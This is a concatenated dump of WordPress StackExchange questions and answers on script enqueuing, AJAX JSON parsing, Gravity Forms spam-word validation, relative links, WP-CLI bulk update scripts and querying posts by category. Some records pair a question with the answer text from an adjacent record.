Additionally, apart from the "where" of your `wp_enqueue_script()` function (i.e. theme, plugin, etc.), the "when" is also important, in terms of WP's [Action Reference](https://codex.wordpress.org/Plugin_API/Action_Reference/) hooks, and the order in which they're fired. There are 2 distinct script-related hooks, `wp_enqueue_scripts` and `admin_enqueue_scripts`, which allow for separation of scripts and styles depending on which view the user currently has. If you're not hooking your `wp_enqueue_script()` function into one of these properly, this would be one potential cause of the problem. Providing the code in question will help us find the answer. EDIT: if you need/want the script to only be enqueued for logged-in, non-admin users, you can wrap it with a two-part conditional evaluator, similar to this: ``` if( is_user_logged_in() && !current_user_can( 'administrator' ) ) { // enqueue stuff goes here } ``` That's the most basic method of testing the conditions you've provided, but it's important to note, there's better, more regimented, methods of determining a user's role type and capabilities, than current\_user\_can() as this simple function only returns the role type, and not specific capabilities that may have been added/removed to/from a role type via a plugin or customization elsewhere in the theme, and those changes may or may not impact your end goal.
267,519
<p>I have the following PHP array which I encode to JSON as seen in the snippet of my code below:</p> <pre><code>$user_info = [ "user_name" =&gt; $current_user-&gt;user_login, "user_email" =&gt; $current_user-&gt;user_email, "user_id" =&gt; $current_user-&gt;ID, "user_comment" =&gt; $message ]; json_encode( $user_info ); </code></pre> <p>When I run a <code>console.log()</code> of the encoded <code>$user_info</code> variable above, I get the JSON below:</p> <pre><code>{ "user_name": "admin", "user_email": "[email protected]", "user_id": 1, "user_comment": "" } </code></pre> <p>My problem now is that, when I narrow down to the <code>user_name</code> value, I get an <em>undefine</em> error.</p> <p>Below is my approach:</p> <pre><code>// response is a declared variable which holds the encoded $user_info PHP array above console.log( data.user_name ); </code></pre> <p>The following image is a screenshot of my browser, showing my console.</p> <p><a href="https://i.stack.imgur.com/OSiSM.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/OSiSM.png" alt="Browser, showing both view and console"></a></p> <p>And here, that of my PHP code (circled in yellow, the actual portion regarding my post).</p> <p><a href="https://i.stack.imgur.com/fxAWo.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/fxAWo.png" alt="PHP code (circled in yellow)"></a></p> <p>My full JavaScript code is as follow:</p> <pre><code>$("#txt-cmt").keypress(function(e) { if (e.which == 13) { var comment = $(this).val(); var message = { action: 'show_comment', user_message: comment }; $.post(ajaxUrl.url, message, function(data) { console.log(data.user_name); }); } }); </code></pre> <p>What am I possibly doing wrong and how can I fix it so as to get my code working as expected?</p>
[ { "answer_id": 267500, "author": "WebElaine", "author_id": 102815, "author_profile": "https://wordpress.stackexchange.com/users/102815", "pm_score": 1, "selected": false, "text": "<p>There are plugins available that will convert taxonomies - search for something like \"taxonomy converter\" and you will find some.</p>\n\n<p>After you've converted them, a simple .htaccess redirect will take care of the URLs:</p>\n\n<pre><code>RewriteEngine On\nRewriteRule ^tag/(.*)$ http://example.com/artist/$1 [R=301,L]\n</code></pre>\n\n<p>This will redirect anything under a /tag/ folder, save the subfolder (i.e. artist-name) and redirect it to example.com/artist/artist-name - for all artist-names.</p>\n\n<p>Just change example.com and place these lines above the default WP .htaccess contents.</p>\n" }, { "answer_id": 267505, "author": "Johansson", "author_id": 94498, "author_profile": "https://wordpress.stackexchange.com/users/94498", "pm_score": 3, "selected": true, "text": "<p>You shouldn't and most likely can't achieve what you are looking for. The <code>tag</code> taxonomy term is reserved by WordPress itself, as well as a couple of other terms. Take a look into <a href=\"https://codex.wordpress.org/Function_Reference/register_taxonomy#Reserved_Terms\" rel=\"nofollow noreferrer\">this</a> page from the codex.</p>\n\n<p>If you use the same slug for different taxonomies, that would defeat the purpose. For example, categories and tags are taxonomies themselves. </p>\n\n<p>Imagine having two categories, <code>/cat/</code> and <code>/dog/</code>, both pointing to <code>/animals/</code>. The WordPress itself won't allow you to do that, but let's say you do this by hacking the database. What should be shown when you visit <code>/animals/</code> slug? cats or dogs?</p>\n\n<p>The worse scenario is to even mix different taxonomy types. Then the WordPress can't even decide what template file to use!</p>\n\n<p>Unfortunately WordPress is not optimized to make this happen for you just by writing a simple rule. I myself had to redo a lot of works sometimes, just because i didn't to it the proper way at the beginning. Your other option would be to write an SQL query or a plugin to alter the data for you and save it in a new format.</p>\n\n<p>Even if you write some rewrite rules to achieve this, you will end up with a messed up website, random 404 pages and incorrect content output.</p>\n" } ]
2017/05/20
[ "https://wordpress.stackexchange.com/questions/267519", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/120067/" ]
I have the following PHP array which I encode to JSON as seen in the snippet of my code below: ``` $user_info = [ "user_name" => $current_user->user_login, "user_email" => $current_user->user_email, "user_id" => $current_user->ID, "user_comment" => $message ]; json_encode( $user_info ); ``` When I run a `console.log()` of the encoded `$user_info` variable above, I get the JSON below: ``` { "user_name": "admin", "user_email": "[email protected]", "user_id": 1, "user_comment": "" } ``` My problem now is that, when I narrow down to the `user_name` value, I get an *undefine* error. Below is my approach: ``` // response is a declared variable which holds the encoded $user_info PHP array above console.log( data.user_name ); ``` The following image is a screenshot of my browser, showing my console. [![Browser, showing both view and console](https://i.stack.imgur.com/OSiSM.png)](https://i.stack.imgur.com/OSiSM.png) And here, that of my PHP code (circled in yellow, the actual portion regarding my post). [![PHP code (circled in yellow)](https://i.stack.imgur.com/fxAWo.png)](https://i.stack.imgur.com/fxAWo.png) My full JavaScript code is as follow: ``` $("#txt-cmt").keypress(function(e) { if (e.which == 13) { var comment = $(this).val(); var message = { action: 'show_comment', user_message: comment }; $.post(ajaxUrl.url, message, function(data) { console.log(data.user_name); }); } }); ``` What am I possibly doing wrong and how can I fix it so as to get my code working as expected?
You shouldn't and most likely can't achieve what you are looking for. The `tag` taxonomy term is reserved by WordPress itself, as well as a couple of other terms. Take a look into [this](https://codex.wordpress.org/Function_Reference/register_taxonomy#Reserved_Terms) page from the codex. If you use the same slug for different taxonomies, that would defeat the purpose. For example, categories and tags are taxonomies themselves. Imagine having two categories, `/cat/` and `/dog/`, both pointing to `/animals/`. The WordPress itself won't allow you to do that, but let's say you do this by hacking the database. What should be shown when you visit `/animals/` slug? cats or dogs? The worse scenario is to even mix different taxonomy types. Then the WordPress can't even decide what template file to use! Unfortunately WordPress is not optimized to make this happen for you just by writing a simple rule. I myself had to redo a lot of works sometimes, just because i didn't to it the proper way at the beginning. Your other option would be to write an SQL query or a plugin to alter the data for you and save it in a new format. Even if you write some rewrite rules to achieve this, you will end up with a messed up website, random 404 pages and incorrect content output.
267,533
<p>In Gravity Forms I'd like to include a small keyword checker that is checking the user's message for "spammy" words and stops sending the entry to the admin. For this a hidden field changes it's value. I have this code included in my functions.php so far</p> <pre><code>function strpos_arr($haystack, $needle) { if(!is_array($needle)) $needle = array($needle); foreach($needle as $what) { if(($pos = stripos($haystack, $what))!==false) return $pos; } return false; } /* * Our bad words validation function */ add_action('gform_pre_submission_1', 'keywords_check'); function keywords_check($validation_result){ $form = $validation_result["form"]; $stop_words = array( 'outsource', 'Madam', // this covers all variations of 'Sir/Madam' 'Sir /Madam' 'Sir/ Madam' 'Sir / Madam' etc 'SEO', 'long term relationship', ); $stop_id = array(); foreach($_POST as $id =&gt; $post) { if(strpos_arr($post, $stop_words)) { /* * We have a match so store the post ID so we can count it */ $stop_id[] = $id; } } if(sizeof($stop_id) &gt; 0) { $validation_result['is_valid'] = false; $_POST['input_55'] = "No"; } } </code></pre> <p>There seems to be a problem with the part in the very beginning of this code, especially with</p> <pre><code>foreach($needle as $what) { if(($pos = stripos($haystack, $what))!==false) return $pos; } </code></pre> <p>After sending the form I get the following warning</p> <pre><code>Warning: stripos() expects parameter 1 to be string, array given on line 109 </code></pre> <p>I have several php noob trial and error hours behind me before asking this question. Can anyone help me out with this? </p>
[ { "answer_id": 267571, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 1, "selected": false, "text": "<p>The problem is in function <code>strpos_arr</code>. If your bad word is in <code>$pos = 0</code> than the output will always be <code>false</code>. Replace the line:</p>\n\n<pre><code>if(($pos = stripos($haystack, $what))!==false) return $pos;\n</code></pre>\n\n<p>with:</p>\n\n<pre><code>if(($pos = stripos($haystack, $what))!==false) return true;\n</code></pre>\n\n<p>Your <code>keywords_check</code> function can be much simplified by using it as Gravity Forms field validation filter:</p>\n\n<pre><code>function keywords_check( $result, $value, $form, $field ) {\n $stop_words = array(\n 'outsource', \n 'Madam', // this covers all variations of 'Sir/Madam' 'Sir /Madam' 'Sir/ Madam' 'Sir / Madam' etc\n 'SEO',\n 'long term relationship',\n );\n\n if ( strpos_arr( $value, $stop_words ) ) {\n $result['is_valid'] = false;\n $result['message'] = 'Illegal words entered';\n }\n return $result;\n}\nadd_filter( 'gform_field_validation_2_4', 'keywords_check', 10, 4 );\n</code></pre>\n\n<p>Notice two numbers in 'hook' name in this example. 2 - form id, 4 - field id. Adjust those numbers to match your form.</p>\n" }, { "answer_id": 267615, "author": "Dave from Gravity Wiz", "author_id": 50224, "author_profile": "https://wordpress.stackexchange.com/users/50224", "pm_score": 0, "selected": false, "text": "<p>I have a plugin that will also handle this via the default WordPress comment blacklist functionality: <a href=\"https://gravitywiz.com/documentation/gravity-forms-comment-blacklist/\" rel=\"nofollow noreferrer\">https://gravitywiz.com/documentation/gravity-forms-comment-blacklist/</a></p>\n" }, { "answer_id": 352641, "author": "Anthony D", "author_id": 178403, "author_profile": "https://wordpress.stackexchange.com/users/178403", "pm_score": 0, "selected": false, "text": "<p>I would suggest an addition to Frank P. Walentynowicz's answer. Make it so you will not need to constantly edit your <code>functions.php</code> when you want to add/remove to the <code>$stop_words</code> array. </p>\n\n<p>You can achieve this by utilizing the built-in <a href=\"https://codex.wordpress.org/Combating_Comment_Spam#Comment_Blacklist\" rel=\"nofollow noreferrer\">Wordpress Comment Blacklist</a> feature.</p>\n\n<p>Everything you save in the wp blacklist is stored in the database in the WP_Options table under <code>blacklist_keys</code>. \n<a href=\"https://codex.wordpress.org/Option_Reference\" rel=\"nofollow noreferrer\">https://codex.wordpress.org/Option_Reference</a></p>\n\n<p>At the start of your <code>keywords_check</code> function you can get these keys and store them in a variable:</p>\n\n<pre><code>$blacklisted = get_option('blacklist_keys');\n</code></pre>\n\n<p>Now, turn those into a proper array:</p>\n\n<pre><code>$stop_words = preg_split(\"/[\\s,]+/\", $blacklisted);\n</code></pre>\n\n<p>All the stop words will be pulled from the WP blacklist. You can continue the rest of the function as detailed in Frank's answer. Even a non-developer can help filter spam right from the Wordpress dashboard.</p>\n\n<p>Here it is all together:</p>\n\n<pre><code>function strpos_arr($haystack, $needle) {\n if(!is_array($needle)) $needle = array($needle);\n foreach($needle as $what) {\n if(($pos = stripos($haystack, $what))!==false) return true;\n }\n return false;\n}\nadd_action('gform_pre_submission_1', 'keywords_check');\n\nfunction keywords_check( $result, $value, $form, $field ) {\n $blacklisted = get_option('blacklist_keys');\n $stop_words = preg_split(\"/[\\s,]+/\", $blacklisted);\n\n if ( strpos_arr( $value, $stop_words ) ) {\n $result['is_valid'] = false;\n $result['message'] = 'Illegal words entered';\n }\n return $result;\n}\nadd_filter( 'gform_field_validation_2_4', 'keywords_check', 10, 4 );\n</code></pre>\n\n<p>If you don't need to test a particular form field like this answer details, I have a solution that will test the WP Comment blacklist against all form fields. </p>\n\n<p>GitHub link below:\n<a href=\"https://github.com/adaprile/Gravity-Forms-WP-Comment-Blacklist\" rel=\"nofollow noreferrer\">https://github.com/adaprile/Gravity-Forms-WP-Comment-Blacklist</a></p>\n\n<p>I hope this helps someone!</p>\n" } ]
2017/05/20
[ "https://wordpress.stackexchange.com/questions/267533", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/118725/" ]
In Gravity Forms I'd like to include a small keyword checker that is checking the user's message for "spammy" words and stops sending the entry to the admin. For this a hidden field changes it's value. I have this code included in my functions.php so far ``` function strpos_arr($haystack, $needle) { if(!is_array($needle)) $needle = array($needle); foreach($needle as $what) { if(($pos = stripos($haystack, $what))!==false) return $pos; } return false; } /* * Our bad words validation function */ add_action('gform_pre_submission_1', 'keywords_check'); function keywords_check($validation_result){ $form = $validation_result["form"]; $stop_words = array( 'outsource', 'Madam', // this covers all variations of 'Sir/Madam' 'Sir /Madam' 'Sir/ Madam' 'Sir / Madam' etc 'SEO', 'long term relationship', ); $stop_id = array(); foreach($_POST as $id => $post) { if(strpos_arr($post, $stop_words)) { /* * We have a match so store the post ID so we can count it */ $stop_id[] = $id; } } if(sizeof($stop_id) > 0) { $validation_result['is_valid'] = false; $_POST['input_55'] = "No"; } } ``` There seems to be a problem with the part in the very beginning of this code, especially with ``` foreach($needle as $what) { if(($pos = stripos($haystack, $what))!==false) return $pos; } ``` After sending the form I get the following warning ``` Warning: stripos() expects parameter 1 to be string, array given on line 109 ``` I have several php noob trial and error hours behind me before asking this question. Can anyone help me out with this?
The problem is in function `strpos_arr`. If your bad word is in `$pos = 0` than the output will always be `false`. Replace the line: ``` if(($pos = stripos($haystack, $what))!==false) return $pos; ``` with: ``` if(($pos = stripos($haystack, $what))!==false) return true; ``` Your `keywords_check` function can be much simplified by using it as Gravity Forms field validation filter: ``` function keywords_check( $result, $value, $form, $field ) { $stop_words = array( 'outsource', 'Madam', // this covers all variations of 'Sir/Madam' 'Sir /Madam' 'Sir/ Madam' 'Sir / Madam' etc 'SEO', 'long term relationship', ); if ( strpos_arr( $value, $stop_words ) ) { $result['is_valid'] = false; $result['message'] = 'Illegal words entered'; } return $result; } add_filter( 'gform_field_validation_2_4', 'keywords_check', 10, 4 ); ``` Notice two numbers in 'hook' name in this example. 2 - form id, 4 - field id. Adjust those numbers to match your form.
267,557
<p>After moving website to my local dev machine, relative links stopped working. When i click button with relative link /login, for example, browser redirects to</p> <p><a href="https://localhost/login/" rel="nofollow noreferrer">https://localhost/login/</a></p> <p>and shows</p> <blockquote> <p>Code: Not Found</p> <p>The requested URL /index.php was not found on this server.</p> </blockquote> <p>While it should have redirected to <a href="https://localhost/%D1%81%D1%81/login/" rel="nofollow noreferrer">https://localhost/сс/login/</a></p> <p><em>.htaccess</em> contents on <em>localhost</em>:</p> <pre><code># BEGIN WordPress &lt;IfModule mod_rewrite.c&gt; RewriteEngine On RewriteBase /cc/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /cc/index.php [L] &lt;/IfModule&gt; </code></pre> <ol> <li>Website files are in <em>var/lib/html/cc</em> folder. </li> <li><em>SiteURL</em> and <em>HomeUrl</em> are both equal to <a href="http://localhost/%D1%81%D1%81" rel="nofollow noreferrer">http://localhost/сс</a></li> <li>Parmalinks setting <em><a href="http://localhost/cc/sample-post/" rel="nofollow noreferrer">http://localhost/cc/sample-post/</a></em> is used, so no problem with navigating to pages.</li> </ol> <p>How to fix this issue? </p> <p>Tried different <em>.htaccess</em> modifications, moving <em>index.php</em> to <em>/var/lib</em> Nothing helps.</p>
[ { "answer_id": 267574, "author": "cybmeta", "author_id": 37428, "author_profile": "https://wordpress.stackexchange.com/users/37428", "pm_score": 2, "selected": false, "text": "<p>If you are in <code>https://localhost/cc</code> and use a relative lnk with <code>href=\"/login\"</code> (relative to current domain/site), the browser (not WordPress) will take you to <code>https://localhost/login</code>; if the link is <code>href=\"login\"</code> (relative to current path) the browser will take you to <code>https://localhost/cc/login</code>.</p>\n\n<p>Relative links work like that, nothing to do with WordPress. That is why many developers prefer to use absolute links, and WordPress too. You can get the home url and append the path you want like this:</p>\n\n<pre><code>// See https://developer.wordpress.org/reference/functions/home_url/\n// Outputs http:://example.com/login\n$login_url = home_url( 'login' );\n</code></pre>\n\n<p>If you prefer relative paths:</p>\n\n<pre><code>// Outputs /login\n$login_url = home_url( 'login', 'relative' );\n</code></pre>\n\n<p>And the good thing of using this method is that you get paths relative to current site, not to current path. So, if you are in <code>https://localhost/cc</code> you get this result (which I think will work for you if you still wnat to use relative links):</p>\n\n<pre><code>// If we are in `https://localhost/cc`\n// Outputs /cc/login\n$login_url = home_url( 'login', 'relative' );\n</code></pre>\n" }, { "answer_id": 278973, "author": "rok", "author_id": 105581, "author_profile": "https://wordpress.stackexchange.com/users/105581", "pm_score": 0, "selected": false, "text": "<p>As <em>MrWhite</em> suggested the following steps solved the issues:</p>\n\n<p>1) <strong>Adding <a href=\"http://httpd.apache.org/docs/current/vhosts/name-based.html#page-header\" rel=\"nofollow noreferrer\">vhost</a> block to <em>apache2.conf</em> configuration file of <em>Apache</em>.</strong> </p>\n\n<pre><code>NameVirtualHost 192.168.1.10:80\n&lt;VirtualHost 192.168.1.10:80&gt;\n ServerName local.site.com\n DocumentRoot \"/var/www/html/local.site\"\n&lt;/VirtualHost&gt;\n</code></pre>\n\n<ul>\n<li><em>/var/www/html/local.site</em> is the folder on local machine where all the website files are. </li>\n<li><em>local.site.com</em> is the domain name of the local website</li>\n<li><em>VirtualHost</em> directive has an explicit IP address discoverable by running <em>ip addr show</em> in the command line to support multiple name-based virtual hosts on one ip address</li>\n</ul>\n\n<p>2) <strong>Adding the following entry to <em>/etc/hosts</em></strong> </p>\n\n<blockquote>\n <p>192.168.1.10 local.site.com</p>\n</blockquote>\n\n<p>To conform to note <a href=\"http://httpd.apache.org/docs/2.2/vhosts/examples.html\" rel=\"nofollow noreferrer\">here</a></p>\n\n<blockquote>\n <p>Creating virtual host configurations on your Apache server does not\n magically cause DNS entries to be created for those host names. You\n must have the names in DNS, resolving to your IP address, or nobody\n else will be able to see your web site. You can put entries in your\n hosts file for local testing, but that will work only from the machine\n with those hosts entries.</p>\n</blockquote>\n\n<p>3) <strong>Using the same .htaccess from the staging website</strong></p>\n\n<p>It basically contains the following:</p>\n\n<pre><code># BEGIN WordPress\n&lt;IfModule mod_rewrite.c&gt;\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n&lt;/IfModule&gt;\n</code></pre>\n\n<p>There may be much more directives originating from security wordpress plugins. If they use staging website url like in:</p>\n\n<pre><code>#AIOWPS_PREVENT_IMAGE_HOTLINKS_START\n&lt;IfModule mod_rewrite.c&gt;\nRewriteEngine On\nRewriteCond %{HTTP_REFERER} !^$\nRewriteCond %{REQUEST_FILENAME} -f\nRewriteCond %{REQUEST_FILENAME} \\.(gif|jpe?g?|png)$ [NC]\nRewriteCond %{HTTP_REFERER} !^http(s)?://site.com [NC]\nRewriteRule \\.(gif|jpe?g?|png)$ - [F,NC,L]\n&lt;/IfModule&gt;\n</code></pre>\n\n<p><code>RewriteCond %{HTTP_REFERER} !^http(s)?://site.com [NC]</code> should be replaced with <code>RewriteCond %{HTTP_REFERER} !^http(s)?://local.site.com [NC]</code></p>\n\n<p>All the steps were run after:</p>\n\n<ol>\n<li><p>Cloning site code repository to local development environment </p></li>\n<li><p>Importing mysql dump to local mysql db </p></li>\n<li>Using <a href=\"https://wp-cli.org\" rel=\"nofollow noreferrer\">wp-cli</a> to\nsearch and replace staging site url with <em>local.site.com</em></li>\n</ol>\n" } ]
2017/05/20
[ "https://wordpress.stackexchange.com/questions/267557", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/105581/" ]
After moving website to my local dev machine, relative links stopped working. When i click button with relative link /login, for example, browser redirects to <https://localhost/login/> and shows > > Code: Not Found > > > The requested URL /index.php was not found on this server. > > > While it should have redirected to [https://localhost/сс/login/](https://localhost/%D1%81%D1%81/login/) *.htaccess* contents on *localhost*: ``` # BEGIN WordPress <IfModule mod_rewrite.c> RewriteEngine On RewriteBase /cc/ RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /cc/index.php [L] </IfModule> ``` 1. Website files are in *var/lib/html/cc* folder. 2. *SiteURL* and *HomeUrl* are both equal to [http://localhost/сс](http://localhost/%D1%81%D1%81) 3. Parmalinks setting *<http://localhost/cc/sample-post/>* is used, so no problem with navigating to pages. How to fix this issue? Tried different *.htaccess* modifications, moving *index.php* to */var/lib* Nothing helps.
If you are in `https://localhost/cc` and use a relative lnk with `href="/login"` (relative to current domain/site), the browser (not WordPress) will take you to `https://localhost/login`; if the link is `href="login"` (relative to current path) the browser will take you to `https://localhost/cc/login`. Relative links work like that, nothing to do with WordPress. That is why many developers prefer to use absolute links, and WordPress too. You can get the home url and append the path you want like this: ``` // See https://developer.wordpress.org/reference/functions/home_url/ // Outputs http:://example.com/login $login_url = home_url( 'login' ); ``` If you prefer relative paths: ``` // Outputs /login $login_url = home_url( 'login', 'relative' ); ``` And the good thing of using this method is that you get paths relative to current site, not to current path. So, if you are in `https://localhost/cc` you get this result (which I think will work for you if you still wnat to use relative links): ``` // If we are in `https://localhost/cc` // Outputs /cc/login $login_url = home_url( 'login', 'relative' ); ```
267,592
<p>As a highly concerned hosting company owner I am using WP-CLI to update plugins, themes and wp core of my clients.</p> <p>Updating WP-Core</p> <pre><code>find /home/*/public_html -name "wp-admin" -execdir /home/wp core update --allow-root \; </code></pre> <p>Updating Plugins</p> <pre><code>find /home/*/public_html -name "wp-admin" -execdir /home/wp plugin update-all --allow-root \; </code></pre> <p>Updating Themes</p> <pre><code>find /home/*/public_html -name "wp-admin" -execdir /home/wp theme update-all --allow-root \; </code></pre> <p>Everything is working extremely well, but I want just to change CACHE folder for WP-CLI since I do not want it to store in <code>/root/wp-cli/.cache</code></p> <p>It's actually not storing anything there because I enabled Open base dir, how can I change location of cache folder for wp cli? is there a syntax? I can't find any docs on it</p> <pre><code>PHP Warning: file_exists(): open_basedir restriction in effect. File(/root/.wp-cli/cache/) is not within the allowed path(s): (/home:/tmp:/opt/cpanel/composer/bin/composer) in phar:///home/wp/php/WP_CLI/FileCache.php on line 261 </code></pre> <p>I honestly do not know what is cache folder used for but since wp cli can't use it I am just afraid that something will fail, but so far it didn't.</p>
[ { "answer_id": 267609, "author": "birgire", "author_id": 26350, "author_profile": "https://wordpress.stackexchange.com/users/26350", "pm_score": 4, "selected": true, "text": "<p>You could try to change it through the <strong>environment variable</strong>:</p>\n\n<pre><code>WP_CLI_CACHE_DIR\n</code></pre>\n\n<p>as we have it included in the <code>WP_CLI::get_cache()</code> method (<a href=\"https://github.com/wp-cli/wp-cli/blob/dd30e97d61c570c0e4a64cc11eb5a72c19a51879/php/class-wp-cli.php#L80\" rel=\"noreferrer\">src</a>):</p>\n\n<pre><code>$dir = getenv( 'WP_CLI_CACHE_DIR' ) ? : \"$home/.wp-cli/cache\";\n</code></pre>\n\n<p>You can also check out issue <a href=\"https://github.com/wp-cli/wp-cli/issues/1848\" rel=\"noreferrer\">#1848</a> - <em>Use shared cache directory for multiple installs</em> for usage examples.</p>\n\n<p>In the <em>WP-CLI Handbook</em> on <a href=\"https://make.wordpress.org/cli/handbook/config/#environment-variables\" rel=\"noreferrer\">make.wordpress.org</a>, we have a <a href=\"https://make.wordpress.org/cli/handbook/config/#environment-variables\" rel=\"noreferrer\">list</a> of environment variables used by WP-CLI.</p>\n" }, { "answer_id": 303955, "author": "Luka", "author_id": 106221, "author_profile": "https://wordpress.stackexchange.com/users/106221", "pm_score": 0, "selected": false, "text": "<p>This is actually how I ended up doing this, this is a script I wrote for updating themes, plugins and wp core on cPanel servers</p>\n\n<pre><code>#!/bin/bash\n\nrm -rf /home/wp\nwget https://raw.githubusercontent.com/wp-cli/builds/gh-pages/phar/wp-cli.phar -O /home/wp\nchmod +x /home/wp\nsleep 5\n\nRed='\\033[0;31m'\nColor_Off='\\033[0m'\n\necho -e \"$Red Updating WP core $Color_Off\";\n\nfor i in `ls /var/cpanel/users/`; do sudo -H -u $i cp /home/wp /home/$i/wp &amp;&amp; sudo -H -u $i find /home/$i/public_html -name 'wp-admin' -execdir /usr/local/bin/php /home/$i/wp core update \\; &amp;&amp; sudo -H -u $i rm -rf /home/$i/wp ; done\n\necho -e \"$Red Updating plugins $Color_Off\";\n\nfor i in `ls /var/cpanel/users/`; do sudo -H -u $i cp /home/wp /home/$i/wp &amp;&amp; sudo -H -u $i find /home/$i/public_html -name 'wp-admin' -execdir /usr/local/bin/php /home/$i/wp plugin update-all \\; &amp;&amp; sudo -H -u $i rm -rf /home/$i/wp ; done\n\necho \"$Red Updating themes $Color_Off\";\n\nfor i in `ls /var/cpanel/users/`; do sudo -H -u $i cp /home/wp /home/$i/wp &amp;&amp; sudo -H -u $i find /home/$i/public_html -name 'wp-admin' -execdir /usr/local/bin/php /home/$i/wp theme update-all \\; &amp;&amp; sudo -H -u $i rm -rf /home/$i/wp ; done\n</code></pre>\n" } ]
2017/05/21
[ "https://wordpress.stackexchange.com/questions/267592", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/106221/" ]
As a highly concerned hosting company owner I am using WP-CLI to update plugins, themes and wp core of my clients. Updating WP-Core ``` find /home/*/public_html -name "wp-admin" -execdir /home/wp core update --allow-root \; ``` Updating Plugins ``` find /home/*/public_html -name "wp-admin" -execdir /home/wp plugin update-all --allow-root \; ``` Updating Themes ``` find /home/*/public_html -name "wp-admin" -execdir /home/wp theme update-all --allow-root \; ``` Everything is working extremely well, but I want just to change CACHE folder for WP-CLI since I do not want it to store in `/root/wp-cli/.cache` It's actually not storing anything there because I enabled Open base dir, how can I change location of cache folder for wp cli? is there a syntax? I can't find any docs on it ``` PHP Warning: file_exists(): open_basedir restriction in effect. File(/root/.wp-cli/cache/) is not within the allowed path(s): (/home:/tmp:/opt/cpanel/composer/bin/composer) in phar:///home/wp/php/WP_CLI/FileCache.php on line 261 ``` I honestly do not know what is cache folder used for but since wp cli can't use it I am just afraid that something will fail, but so far it didn't.
You could try to change it through the **environment variable**: ``` WP_CLI_CACHE_DIR ``` as we have it included in the `WP_CLI::get_cache()` method ([src](https://github.com/wp-cli/wp-cli/blob/dd30e97d61c570c0e4a64cc11eb5a72c19a51879/php/class-wp-cli.php#L80)): ``` $dir = getenv( 'WP_CLI_CACHE_DIR' ) ? : "$home/.wp-cli/cache"; ``` You can also check out issue [#1848](https://github.com/wp-cli/wp-cli/issues/1848) - *Use shared cache directory for multiple installs* for usage examples. In the *WP-CLI Handbook* on [make.wordpress.org](https://make.wordpress.org/cli/handbook/config/#environment-variables), we have a [list](https://make.wordpress.org/cli/handbook/config/#environment-variables) of environment variables used by WP-CLI.
267,600
<p>Using this query to retrieve all of my posts with a specific <code>post_type</code></p> <pre><code>SELECT * FROM wp_posts WHERE post_type = 'product'; </code></pre> <p>As described <a href="https://wordpress.stackexchange.com/questions/66080/how-to-find-out-wordpress-category-table-in-mysql">here</a> the category is not in the <code>wp_posts</code> table but in term tables <code>wp_terms</code> <code>wp_term_relationships</code> <code>wp_term_taxonomy</code></p> <p>Searching through all the tables for a category I had in mind, the only instance of a category I could find was in the <code>wp_terms</code> table which contains the following columns</p> <ul> <li>term_id</li> <li>name</li> <li>slug</li> <li>term_group</li> </ul> <p>Looking for cross-references to this in other tables and somehow relate them back to wp_posts is posing some complications.</p> <p>My thinking is <code>term_id</code> I should be looking for as it seems like a foreign key, but the only instance of that is in <code>wp_term_taxonomy</code>, and the only information I can find in the table related to my category (or rather <code>term_id</code>) is</p> <ul> <li>term_taxonomy_id</li> <li>term_id</li> <li>taxonomy</li> <li>description</li> <li>parent</li> <li>count</li> </ul> <p>So the only information I can get from this is letting me know that my <code>term_id</code> <code>taxonomy</code> is a <code>product_cat</code> and in <code>count</code> tells me how many posts I have for this particular category.</p> <p>Knowing a little bit about MySQL I know if there's any hope of doing this I need to modify my query and do a <code>JOIN</code> or two.</p> <p>But I'm only finding very limited information on what exactly I can latch onto.</p> <p>Here's the structure of <code>wp_posts</code></p> <pre><code> `wp_posts` ( `ID` bigint(20) unsigned NOT NULL AUTO_INCREMENT, `post_author` bigint(20) unsigned NOT NULL DEFAULT '0', `post_date` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_date_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_content` longtext COLLATE utf8mb4_unicode_520_ci NOT NULL, `post_title` text COLLATE utf8mb4_unicode_520_ci NOT NULL, `post_excerpt` text COLLATE utf8mb4_unicode_520_ci NOT NULL, `post_status` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'publish', `comment_status` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'open', `ping_status` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'open', `post_password` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '', `post_name` varchar(200) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '', `to_ping` text COLLATE utf8mb4_unicode_520_ci NOT NULL, `pinged` text COLLATE utf8mb4_unicode_520_ci NOT NULL, `post_modified` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_modified_gmt` datetime NOT NULL DEFAULT '0000-00-00 00:00:00', `post_content_filtered` longtext COLLATE utf8mb4_unicode_520_ci NOT NULL, `post_parent` bigint(20) unsigned NOT NULL DEFAULT '0', `guid` varchar(255) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '', `menu_order` int(11) NOT NULL DEFAULT '0', `post_type` varchar(20) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT 'post', `post_mime_type` varchar(100) COLLATE utf8mb4_unicode_520_ci NOT NULL DEFAULT '', `comment_count` bigint(20) NOT NULL DEFAULT '0', PRIMARY KEY (`ID`), KEY `post_name` (`post_name`(191)), KEY `type_status_date` (`post_type`,`post_status`,`post_date`,`ID`), KEY `post_parent` (`post_parent`), KEY `post_author` (`post_author`) ) </code></pre> <p>Is it even possible to modify my query to only retrieve <code>wp_posts</code> table rows for specific categories?</p>
